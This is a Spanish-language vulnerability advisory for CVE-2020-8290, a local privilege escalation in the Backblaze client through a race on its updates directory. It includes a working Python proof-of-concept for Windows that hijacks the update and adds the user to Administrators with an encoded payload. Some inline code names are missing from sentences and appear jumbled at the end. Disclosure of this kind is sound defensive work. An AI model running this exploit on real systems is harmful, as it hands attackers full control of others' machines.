
CVE-2020-8290 – Elevación de privilegios en Backblaze
Nombre: Elevación de Privilegios en Backblaze
CVE: CVE-2020-8290
Descubridor: Jason Geffner
Vendedor: Backblaze
Producto: Backblaze para Windows y Backblaze para macOS
Riesgo: Alto
Fecha de descubrimiento: 2020-03-13
Fecha de publicación: 2020-09-09
Versión corregida: 7.0.0.439
Según Wikipedia, Backblaze es
"una herramienta de copia de seguridad en línea que permite a los usuarios de Windows y macOS realizar copias de seguridad de sus datos en centros de datos remotos. El servicio está diseñado para empresas y usuarios finales, proporcionando espacio de almacenamiento ilimitado y soportando tamaños de archivo ilimitados."
Las versiones vulnerables de Backblaze para Windows y Backblaze para macOS contienen una vulnerabilidad de alto riesgo que permite a un atacante local sin privilegios realizar un ataque de elevación de privilegios (EOP) para convertirse en SYSTEM/root.
El proceso de servicio del cliente de Backblaze, llamado bzserv, se ejecuta como SYSTEM en Windows y como root en macOS. Cada par de horas, bzserv ejecuta un programa llamado bztransmit (ejecutado como SYSTEM/root) para descargar un archivo XML llamado clientversion.xml desde el centro de datos de Backblaze para ver si hay una versión más reciente del cliente de Backblaze disponible para descargar y, si es así, descarga el instalador de la última versión del cliente desde el centro de datos de Backblaze. El instalador descargado se guarda en el directorio %ProgramData%\Backblaze\bzdata\bzupdates en Windows y en el directorio /Library/Backblaze.bzpkg/bzdata/bzupdates o /Library/Backblaze/bzdata/bzupdates en macOS. Una vez descargado, bztransmit ejecuta el instalador descargado como a través de o como a través de .
En Windows, el directorio %ProgramData%\Backblaze\bzdata se crea durante la instalación de modo que los usuarios locales sin privilegios tengan acceso de lectura y escritura. El proceso bztransmit crea el subdirectorio bzupdates mientras se ejecuta como SYSTEM, y los usuarios sin privilegios no tienen acceso de lectura ni escritura a este subdirectorio una vez creado. Sin embargo, el proceso bztransmit no verifica de forma segura la ACL en este directorio bzupdates si ya existía, ni actualiza la ACL de forma segura si el directorio ya existía. Por lo tanto, un atacante local sin privilegios puede crear el directorio %ProgramData%\Backblaze\bzdata\bzupdates antes de la instalación de Backblaze, o crear el subdirectorio bzupdates bajo %ProgramData%\Backblaze\bzdata después de que Backblaze esté instalado y antes de que bztransmit cree el subdirectorio bzupdates. Esto permite que el atacante sea el propietario del directorio bzupdates y tenga control total sobre los archivos en ese directorio. Por lo tanto, el atacante puede modificar o reemplazar el ejecutable de actualización descargado después de descargado y antes de su ejecución, permitiendo así una EOP local.
En macOS, el directorio /Library/Backblaze.bzpkg/bzdata (o /Library/Backblaze/bzdata) se crea durante la instalación con permisos 0777 (drwxrwxrwx), de modo que los usuarios locales sin privilegios tengan acceso de lectura y escritura. El proceso bztransmit crea el subdirectorio bzupdates con permisos 0755 (drwxr-xr-x) mientras se ejecuta como root, y los usuarios sin privilegios no tienen acceso de lectura ni escritura a este subdirectorio una vez creado. Sin embargo, el proceso bztransmit no verifica de forma segura los permisos en este directorio bzupdates si ya existía, ni actualiza los permisos de forma segura si el directorio ya existía. Por lo tanto, un atacante local sin privilegios puede crear el subdirectorio bzupdates bajo /Library/Backblaze.bzpkg/bzdata (o ) después de que Backblaze esté instalado y antes de que cree el subdirectorio . Esto permite que el atacante sea el propietario del directorio y tenga control total sobre los archivos en ese directorio. Por lo tanto, el atacante puede modificar o reemplazar el ejecutable de actualización descargado después de descargado y antes de su ejecución, permitiendo así una EOP local.
Vídeo: https://youtu.be/OpC6neWd2aM
El vídeo anterior muestra dos inicios de sesión simultáneos en la misma máquina virtual: una sesión de administrador a la izquierda y una sesión de atacante sin privilegios a la derecha. Puede ver los siguientes pasos en el vídeo:
Atacante ejecuta net localgroup Administrators para mostrar que la cuenta del atacante sin privilegios (llamada Attacker) no es miembro del grupo Administrators.python eop.py (cuyo código fuente está más abajo).clientversion.xml, que el exploit sobrescribe.Attacker al grupo Administrators.net localgroup Administrators de nuevo para mostrar que la cuenta Attacker ha sido efectivamente añadida al grupo Administrators. Elevación de privilegios local completa.# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time
def wait_for_filesystem_object(file_path):
if os.path.exists(file_path):
return
parent_directory = os.path.dirname(file_path)
if not os.path.exists(parent_directory):
wait_for_filesystem_object(parent_directory)
buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()
if "." in os.path.basename(file_path):
notify_filter = 8
else:
notify_filter = 2
h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
0x02000000, None)
while not os.path.exists(file_path):
ctypes.windll.kernel32.ReadDirectoryChangesW(
h, ctypes.byref(buffer), 1024, False, notify_filter,
ctypes.byref(bytes_returned), None, None)
ctypes.windll.kernel32.CloseHandle(h)
def get_exe_content():
#
# Returns the content of an EXE that will add the attacker to the
# Administrators group. Based on
# https://github.com/corkami/pocs/blob/master/PE/tiny.asm
#
exe_content = bz2.decompress(base64.b85decode(
"LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
"p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
exe_content += ("NET LOCALGROUP Administrators " +
f"{os.environ['USERDOMAIN']}\\" +
f"{os.environ['USERNAME']} /ADD").encode()
return exe_content
def am_i_admin():
bufptr = ctypes.c_void_p()
ctypes.windll.netapi32.NetUserGetInfo(
os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
ctypes.byref(bufptr))
if platform.architecture()[0] == "32bit":
usri1_priv = ctypes.string_at(bufptr, 13)[-1]
else:
usri1_priv = ctypes.string_at(bufptr, 21)[-1]
ctypes.windll.netapi32.NetApiBufferFree(bufptr)
return usri1_priv == 2
def poc():
print(f"Running as user: {os.environ['USERNAME']}")
# Ensure that we're running as an unprivileged user.
print("Testing for administrative privileges...")
if am_i_admin():
print("You're already an administrator. Bye!")
return
print("You're a non-administrative user.")
# Raise our process's priority to try to win our race condition.
pid = ctypes.windll.kernel32.GetCurrentProcessId()
h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
ctypes.windll.kernel32.CloseHandle(h)
# Create the bzupdates directory so that we are the owner of it.
bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
if os.path.exists(bzupdates):
print("Backblaze's bzupdates directory was already created. You're " +
"too late!")
return
os.makedirs(bzupdates)
#
# Get the installed hguid value so that we can force an update via
# clientversion.xml.
#
if platform.architecture()[0] == "32bit":
bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
else:
bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
"\\Backblaze\\bzinstall.xml"
if not os.path.exists(bzinstall):
print("Waiting for Backblaze's installer to assign an hguid value.")
wait_for_filesystem_object(bzinstall)
print("Backblaze assigned an hguid value.")
with open(bzinstall) as f:
xml = f.read()
hguid = re.search('hguid="([^"]+)"', xml).group(1)
# Force update via clientversion.xml.
if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
print("Waiting for Backblaze to download clientversion.xml.")
wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
print("clientversion.xml now downloaded.")
with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
xml = f.read()
xml = re.sub('update_hguids_firstchar=".',
f'update_hguids_firstchar="{hguid[0]}', xml)
xml = xml.replace('win32_version="', 'win32_version="1')
f.truncate(0)
f.seek(0)
f.write(xml)
print("clientversion.xml modified to force update next time Backblaze " +
"considers updating.")
# Don't allow SYSTEM to overwrite clientversion.xml.
subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
"/setowner", f"{os.environ['USERNAME']}"])
print()
subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
'/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
print()
#
# Create an executable to replace the downloaded update, which will elevate
# our privileges.
#
exe_content = get_exe_content()
with open(f"{bzupdates}\\eop.exe", "wb") as f:
f.write(exe_content)
#
# Wait for update to download and overwrite it with attacker's executable.
# In this PoC we use iexpress.exe (built into Windows) to create an EXE that
# adds the attacker to the Administrators group, but an attacker could
# supply any executable content they like.
#
exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
print(f"Waiting for Backblaze to download {exe}.")
wait_for_filesystem_object(f"{bzupdates}\\{exe}")
os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
print(f"{exe} downloaded and replaced.")
print(f"{exe} should now get executed as SYSTEM.")
for i in range(5):
if am_i_admin():
print("Success! You're now an administrator!")
return
time.sleep(1)
print("Exploit failed. We probably lost the race-condition when " +
f"overwriting {exe}.")
if __name__ == "__main__":
poc()
Backblaze corrigió esta vulnerabilidad en la versión 7.0.0.439 de Backblaze.
Esta vulnerabilidad fue descubierta e informada a Backblaze por Jason Geffner a través de HackerOne.
2020-03-13 - Vulnerabilidad descubierta e informada a Backblaze a través de HackerOne
2020-03-26 - HackerOne verificó la vulnerabilidad
2020-04-22 - CVE-2020-8152 asignado
2020-04-22 - Versión 7.0.0.439 publicada
2020-04-22 - Mitigación de la vulnerabilidad verificada
2020-04-23 - Se solicitó divulgación pública
2020-09-09 - Divulgación pública
2020-12-22 - Asignación de CVE cambiada a CVE-2020-8290
SYSTEMShellExecute()rootsystem()/Library/Backblaze/bzdatabztransmitbzupdatesbzupdates